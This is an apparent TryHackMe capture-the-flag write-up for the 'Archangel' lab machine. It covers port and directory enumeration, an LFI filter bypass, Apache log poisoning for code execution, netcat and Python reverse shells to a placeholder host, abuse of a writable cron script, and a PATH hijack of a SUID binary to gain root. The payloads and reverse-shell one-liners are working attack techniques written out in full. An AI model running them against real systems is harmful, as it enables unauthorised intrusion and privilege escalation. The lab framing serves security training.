Archangel
Thanks TryHackMe and Archangel for this cool machine, I really enjoyed it! You can find it here. If you are looking for a quick write-up you may look somewhere else, I try to add more explanations since this machine is flagged as easy. I try to keep my explanations short and easy with links to more thorough explanations.
First step
Exporting our target IP to an environment variable:
export IP=targetip
It can be accessed by entering $IP in the terminal. If you use multiple terminals, you have to add it to each terminal. I suggest you use terminator with the broadcast function.
Enumeration
Nmap
First scan with nmap
nmap -p- -v -oN nmap/ports $IP
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We scan all ports without any scripts or service detection. You could do this in most cases, there is nothing wrong with it. I prefer this way.
options | explanation |
---|---|
-p- | scans all the ports, if you do not specify this, nmap only scans the first 1000 |
-oN | writes the results to a file |
-v | verbose output, I like to see my scan moving |
Second scan with nmap:
nmap -p 22,80 -v -sC -sV -A -oN nmap/init $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f1d2c9d6ca40e4640506fedcf1cf38c (RSA)
| 256 637327c76104256a08707a36b2f2840d (ECDSA)
|_ 256 b64ed29c3785d67653e8c4e0481cae6c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
options | explanation |
---|---|
-p 22,80 | This time we define the ports, do not add a space between you ports |
-sC | runs default scripts against the ports |
-A | enables other detection methods like OS detection |
-sV | service detection |
Nikto
Since we have a webpage on 80, we also do a scan with nikto, but there are only two things that seem interesting to me for now.
nikto -h $IP
+ /pages/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
Gobuster
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x css,js,html,xml,php,sh,cgi,py,txt
/.php (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 19188]
/images (Status: 301) [Size: 315] [--> http://10.10.211.150/images/]
/.html (Status: 403) [Size: 278]
/pages (Status: 301) [Size: 314] [--> http://10.10.211.150/pages/]
/flags (Status: 301) [Size: 314] [--> http://10.10.211.150/flags/]
/layout (Status: 301) [Size: 315] [--> http://10.10.211.150/layout/]
/licence.txt (Status: 200) [Size: 5014]
options | explanation |
---|---|
-u | URL or IP |
-w | the wordlist to use |
-x | extensions to look for, so basically it takes a word e.g. "flag" and appends each of the mentioned extensions to it |
Gobuster is still running but we will check out the site manually with the results we have until now.
Manual enumeration
The first task ask us to find a different hostname, when opening the page we have some contact information including a mail. There we have our hostname.
Instead of accessing the server directly by IP we can try do access this site if it exists as a virtual host(More about virtual hosts) . To do this we add the host name to our local hosts files like so:
sudo nano /etc/hosts
123.456.789.987 somehost.thm
As far as I know this can be done in burpsuite too (via proxy), but I am a burpnoob.
We now enter the hostname into our browser. Nice we found our first flag.
Back to gobuster:
gobuster dir -u http://somehost.thm -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x css,js,html,xml,php,sh,cgi,py,sh,txt
/test.php (Status: 200) [Size: 286]
/robots.txt (Status: 200) [Size: 34]
somehost.thm/test.php looks promising.
LFI (Local File Inclusion)
Read more about LFI here:
http://somehost.thm/somepage.php?view=/var/www/html/development_testing/mrrobot.php
In this URL we have a $_GET
parameter to retrieve mrrobot.php. I tried some things, manipulating the URL etc and who could guess...there are some filters in place.
adding some classic ../../../ returns:
We need to somehow retrieve mrrobot.php and take a look at the code to see how we could possibly bypass the filters. So I looked for ways to bypass LFI filters and found this:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File Inclusion/README.md
So we have our URL:
http://somehost.thm/somepage.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
And we get back a base64 string! Lets decrypt it and hope that it worked!
To decode this string you can either use the terminal or cyberchef.
To decode the string in the terminal:
echo 'stringhere. watch for spaces at the beginning and the end' | base64 -d
options | explanation |
---|---|
'|' | pipe takes the output of the previous command and feeds it into the following |
-d | for decode (default is encode) |
The decoded string:
<?php echo 'Control is an illusion'; ?>
That does not help right now, the next step was so obvious that I missed it...for quite some time.
We just do the same for "somepage.php".
http://somehost.thm/somepage.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/somepage.php
This returns a relatively big string, a quick base64 -d later:
!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{LOOK_WHAT_WE_HAVE_HERE}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
Nice! A flag and a filter!
There are two checks happening in this filter:
(!containsStr($_GET['view'], '../..')
if ../.. is NOT(!) in the view parameter AND (&&)
containsStr($_GET['view'], '/var/www/html/development_testing')
'/var/www/html/development_testing' is in the view parameter.
After a lot of testing, I found this.
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
http://somehost.thm/somepage.php?view=/var/www/html/development_testing//..//..//..//..//etc/passwd
Some testing led me to this:
http://somehost.thm/somepage.php?view=/var/www/html/development_testing//..//..//..//..//var/log/apache2/access.log
One step closer, but what could we do with this?
We some entries from our previous actions on this page. We could try poisoning those Apache logs.
How does this work? The log is displayed as a webpage, so if it would contain code, that code would be executed, meaning we need to get code inside this log. This can be done via a malicious user-agent, you should see your basic user-agent already from previous requests. Since we have all this inside a PHP page we could actually execute shell because php conveniently has functions for it.
Now we will manufacture and administer our poison...
Poison:
<?php system('whoami'); ?>
Poison administration:
curl -A "LFI2RCE*** <?php system('whoami'); ?> ***LFI2RCE" somehost.thm
This is the way we get our malicious user-agent into the log. We just send an http request with curl to the site. -A sets the useragent.
I added 'LFI2RCE***' to make it more visible inside the logs, its not necessary by any means.
Now refresh your browser with the URL to the access.log, you should see the results of your user-agent at the bottom:
"LFI2RCE*** www-data ***LFI2RCE"
We have code execution!
Reverse Shell
Because I love python, python is the first thing I try. Always! Python 3 is available but getting the http request from the terminal with quotes and double quotes is to annoying. Just an example how I tested for python:
curl -A "LFI2RCE*** <?php system('python3 --version'); ?> ***LFI2RCE" mafialive.thm
If it returns a version, you will see it in the log. Usually if the command throws an error it can not be seen in the log.
Netcat then:
curl -A "LFI2RCE*** <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOURIP YOURPORT >/tmp/f'); ?> ***LFI2RCE"
This is a very helpful site to create your reverse shells:
Dont forget to set up you listener:
nc -lnvp YOURPORT
options | explanation |
---|---|
-l | listen for incoming connections |
-n | don't do DNS resolution on incoming IP addresses, which makes the connection faster |
-v | verbose mode |
-p | specify the port number to listen on |
Refreshing the access.log page, and we are in!
Stabilizing the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press ctrl+z (rev shell to background)
stty raw -echo; fg
export TERM=xterm
Hit Enter
Getting flags and enumerating
Lets have a look in the home folder for users...only archangel. User flag incoming.
drwxr-xr-x 2 archangel archangel 4.0K Nov 18 2020 myfiles
drwxrwx--- 2 archangel archangel 4.0K Nov 19 2020 secret
-rw-r--r-- 1 archangel archangel 26 Nov 19 2020 user.txt
Other than user.txt, nothing there...believe me ;)
Time for some peas!
I suggest reading a bit about linpeas, there is a video to
We change our directory to /dev/shm
Host a python http server on our machine, in the directory that contains linpeas:
python3 -m http.server 1337
On our reverse shell:
wget http://10.11.2.191:1337/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
wget downloads the script from your local webserver
chmod +x makes a file executable
A first quick scroll for some orange color yields:
*/1 * * * * archangel /opt/helloworld.sh
a cron job, lets check out that script! (cron jobs are scheduled tasks that are executed automatically at a specific time or interval.)
First Privilege Escalation
The contents of the helloworld.sh in /opt:
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
But most important:
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
www-data (our current user) can edit the script and it is executed every minute by the user archangel. Free shell!
We set up a new listener on our machine, and this time we use python!
Lets add this line to the script and wait.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOURIP",YOURPOR));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
It should take not more than a minute to get your reverse shell.
Stabilizing the shell the same way as before.
Enumerating as archangel
No time to lose, we run linpeas again, it should still be in /dev/shm/
This turn is a bit harder, I admit that I found it manually because there was a certain folder we discovered earlier ass www-data that we could not access.
cd /home/archangel/secret/
Here we find a SUID binary called 'backup', you can check this by typing:
-rwsr-xr-x 1 root root 16904 Nov 18 16:40 /home/archangel/secret/backup
file backup
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped
This binary is owned by root and we can execute it with the permissions of the owner...no good...for the server.
Read more about SUID binaries here:
The next method is very basic, but for a quick assessment it is nice.
strings backup
The strings command returns all the strings it finds in a file.
There is one line which is useful for our doings:
cp /home/user/archangel/myfiles/* /opt/backupfiles
What we have here is the usage of a relative path for a command. If a command is entered in the terminal, the system looks through the PATH variable for the first occurence of that command.
The cp command can be found in the /bin directory.
How can we leverege this? By creating our own cp command and adding it to PATH, but we add it at the beginning, so if the the system is looking for the command to execute it, the first occurence will be our cp command and not the on in /bin.
If you use the absolute path /bin/cp /home/user/... the command from that specific path will be used and not the first occurence in an other place.
So lets forge our own cp command.
cd /dev/shm
mkdir bettercopy
cd bettercopy
We create a file, write bash -p to it and make it executable. 'bash -p' invokes a bash terminal with priviledged permissions
echo 'bash -p' > cp
chmod +x ./cp
Now we export our command, with its path, to the front of the PATH environment variable.(export PATH=":$PATH:/dev/shm/bettercopy/" would add it to the end, thus it would not be the first occurence)
export PATH="/dev/shm/bettercopy/:$PATH"
/home/archangel/secret/backup
whoami
root
Now for the last flag:
cat /root/root.txt
There we are, another machine done!